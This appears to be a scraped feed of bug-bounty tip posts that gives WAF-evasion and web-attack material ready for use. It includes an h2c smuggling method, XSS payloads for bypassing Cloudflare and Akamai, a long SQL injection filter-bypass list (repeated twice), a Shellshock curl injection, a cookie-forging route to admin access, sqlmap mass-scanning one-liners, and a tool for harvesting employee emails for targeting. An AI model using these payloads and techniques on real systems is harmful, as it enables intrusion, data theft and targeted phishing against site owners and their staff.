CTF | Bug Bounty

Bug Bounty Pro Tip: #H2C Upgrade Bypass Target: Applications using HTTP/2 Cleartext (h2c) upgrades. The Core Idea: Many Web Application Firewalls (WAFs) and reverse proxies process HTTP/1.1 but fail to correctly inspect traffic after it's upgraded to HTTP/2. How to Test: 1. Find a target that accepts an Upgrade: h2c header (common in Java, gRPC, and some reverse proxies like Nginx). 2. Send an initial HTTP/1.1 request with the upgrade header: GET / HTTP/1.1 Host: example.com Upgrade: h2c Connection: Upgrade 3. If the server agrees (responds with HTTP/1.1 101 Switching Protocols), the connection is now HTTP/2. 4. The Bypass: Craft and send malformed or smuggled HTTP/2 frames (e.g., with the :method header set to GET or POST). The downstream WAF may not parse this, allowing you to access internal endpoints or bypass security controls. Why it works: The security boundary often only exists at the HTTP/1.1 layer. Once upgraded, your HTTP/2 traffic might be forwarded directly to the backend without inspection.

New bug bounty target! Check out https://investaxes.com/.well-known/security.txt for details on their vulnerability disclosure program. Happy hunting!

NEW BUG BOUNTY PLATFORM  https://www.hackprove.com/

CF-Hero is a reconnaissance tool that uses multiple data sources to discover the origin IP addresses of Cloudflare-protected web applications. https://github.com/musana/CF-Hero

🔍 Bug Bounty Web Checklist Track your web pentesting progress by checking each subcategory. https://nemocyberworld.github.io/BugBountyCheckList/

Shodan Dorks https://github.com/nullfuzz-pentest/shodan-dorks

APKDeepLens is a Python based tool designed to scan Android applications (APK files) for security vulnerabilities. It specifically targets the OWASP Top 10 mobile vulnerabilities, providing an easy and efficient way for developers, penetration testers, and security researchers to assess the security posture of Android apps. GitHub: https://github.com/d78ui98/APKDeepLens

Xss Payload <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;”

bypass XSS Cloudflare WAF Encoded Payload: &#34;&gt;&lt;track/onerror=&#x27;confirm\%601\%60&#x27;&gt; Clean Payload: "><track/onerror='confirm1'> HTML entity & URL encoding: " --> &#34; > --> &gt; < --> &lt; ' --> &#x27; ` --> \%60 #Bypass #XSS #WAF

Bypass SQL union select /*!50000%55nIoN*/ /*!50000%53eLeCt*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ +%2F**/+Union/*!select*/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ uNiOn aLl sElEcT UNIunionON+SELselectECT /**/union/*!50000select*//**/ 0%a0union%a0select%09 %0Aunion%0Aselect%0A %55nion/**/%53elect uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ %0A%09UNION%0CSELECT%10NULL% /*!union*//*--*//*!all*//*--*//*!select*/ union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ +UnIoN/*&a=*/SeLeCT/*&a=*/ union+sel%0bect +uni*on+sel*ect+ +#1q%0Aunion all#qa%0A#%0Aselect union(select (1),(2),(3),(4),(5)) UNION(SELECT(column)FROM(table)) %23xyz%0AUnIOn%23xyz%0ASeLecT+ %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ union(select(1),2,3) union (select 1111,2222,3333) uNioN (/*!/**/ SeleCT */ 11) union (select 1111,2222,3333) +#1q%0AuNiOn all#qa%0A#%0AsEleCt /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ +%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+ +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ +%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+ /*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/ /union\sselect/g /union\s+select/i /*!UnIoN*/SeLeCT +UnIoN/*&a=*/SeLeCT/*&a=*/ +uni>on+sel>ect+ +(UnIoN)+(SelECT)+ +(UnI)(oN)+(SeL)(EcT) +’UnI”On’+'SeL”ECT’ +uni on+sel ect+ +/*!UnIoN*/+/*!SeLeCt*/+ /*!u%6eion*/ /*!se%6cect*/ uni%20union%20/*!select*/%20 union%23aa%0Aselect /**/union/*!50000select*/ /^.*union.*$/ /^.*select.*$/ /*union*/union/*select*/select+ /*uni X on*/union/*sel X ect*/ +un/**/ion+sel/**/ect+ +UnIOn%0d%0aSeleCt%0d%0a UNION/*&test=1*/SELECT/*&pwn=2*/ un?<ion sel="">+un/**/ion+se/**/lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a*/union%252f%252a /select%252f%252a*/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*!UnIoN*/SeLecT+ #Bypass #SQL

Akamai WAF bypass XSS <input id=b value=javascrip> <input id=c value=t:aler> <input id=d value=t(1)> <lol           contenteditable           onbeforeinput='location=b.value+c.value+d.value'> click and write here! #WAF #Bypass

🔰 Collect emails, usernames from commit history of repos of an org from GitHub for more personalized targeting of employees. GitHub: ghintel.secrets.ninja

🔰Download all bug bounty programs domains in scope items! Get a full list of domains from active bug bounty programs across platforms like HackerOne, Bugcrowd, Intigriti, and more – all in one place! 👇🏼Step 1: Download the domains.txt file 📂step 2: Extract only main/root domains cat domains.txt | awk -F '.' '{print $(NF-1)"."$NF}' | grep -Eo '([a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}' | sort -u > main_domains 📂Step 3: Extract all IP addresses: grep -Eo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' domains.txt > ips.txt Don't forget to give reactions❤️

A simple hunt can flip the whole game!🌀 While testing a web app, I noticed this suspicious-looking session cookie: Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg== I quickly ran it through Base64 decoding: echo "e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg==" | base64 -d  {user:darkshadow,role:user} Wow 😳 — it's a JSON-style string in plain Base64. Time to see how deep the rabbit hole goes... I modified the role from user to admin: echo "{user:darkshadow,role:admin}" | base64  e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo= Then replaced the cookie: Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo= BOOM 💥 Instantly, we got admin access!🔥 #collected

Shellshock Exploit To Inject The Header By RCE. curl -H "User-Agent: () { :; }; /bin/eject" http://example.com I used /bin/eject to avoid making any demonstrative effect. You can edit.

Good XSS Hunting Method. echo "http://example.com" | waybackurls | gf xss | xargs -I {} python3 XSStrike/xsstrike.py -u {}

A Method To Get Subdomains And Scan All By SQLmap And Save Vulns. subfinder -d google.com -o subdomains.txt && sqlmap -m subdomains.txt --batch --random-agent --crawl=1 --dbs | tee sqlmap_output.txt | grep -E "available databases|[*]" > vulnerable.txt

Automating SSRF using Autorepeater In the window of Auto-Repeater, we can specify some regex to find urls. https?:\/\/(www\.)?[-a-zA-Z0–9@:%._\+~#=]{1,256}\.[a-zA-Z0–9()]{1,6}\b([-a-zA-Z0–9()@:%_\+.~#?&//=]*) #SSRF L

bypass XSS Cloudflare WAF Encoded Payload: &#34;&gt;&lt;track/onerror=&#x27;confirm\%601\%60&#x27;&gt; Clean Payload: "><track/onerror='confirm1'> HTML entity & URL encoding: " --> &#34; > --> &gt; < --> &lt; ' --> &#x27; ` --> \%60 #Bypass #XSS #WAF

Bypass SQL union select /*!50000%55nIoN*/ /*!50000%53eLeCt*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ +%2F**/+Union/*!select*/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ uNiOn aLl sElEcT UNIunionON+SELselectECT /**/union/*!50000select*//**/ 0%a0union%a0select%09 %0Aunion%0Aselect%0A %55nion/**/%53elect uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ %0A%09UNION%0CSELECT%10NULL% /*!union*//*--*//*!all*//*--*//*!select*/ union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ +UnIoN/*&a=*/SeLeCT/*&a=*/ union+sel%0bect +uni*on+sel*ect+ +#1q%0Aunion all#qa%0A#%0Aselect union(select (1),(2),(3),(4),(5)) UNION(SELECT(column)FROM(table)) %23xyz%0AUnIOn%23xyz%0ASeLecT+ %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ union(select(1),2,3) union (select 1111,2222,3333) uNioN (/*!/**/ SeleCT */ 11) union (select 1111,2222,3333) +#1q%0AuNiOn all#qa%0A#%0AsEleCt /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ +%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+ +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ +%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+ /*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/ /union\sselect/g /union\s+select/i /*!UnIoN*/SeLeCT +UnIoN/*&a=*/SeLeCT/*&a=*/ +uni>on+sel>ect+ +(UnIoN)+(SelECT)+ +(UnI)(oN)+(SeL)(EcT) +’UnI”On’+'SeL”ECT’ +uni on+sel ect+ +/*!UnIoN*/+/*!SeLeCt*/+ /*!u%6eion*/ /*!se%6cect*/ uni%20union%20/*!select*/%20 union%23aa%0Aselect /**/union/*!50000select*/ /^.*union.*$/ /^.*select.*$/ /*union*/union/*select*/select+ /*uni X on*/union/*sel X ect*/ +un/**/ion+sel/**/ect+ +UnIOn%0d%0aSeleCt%0d%0a UNION/*&test=1*/SELECT/*&pwn=2*/ un?<ion sel="">+un/**/ion+se/**/lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a*/union%252f%252a /select%252f%252a*/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*!UnIoN*/SeLecT+ #Bypass #SQL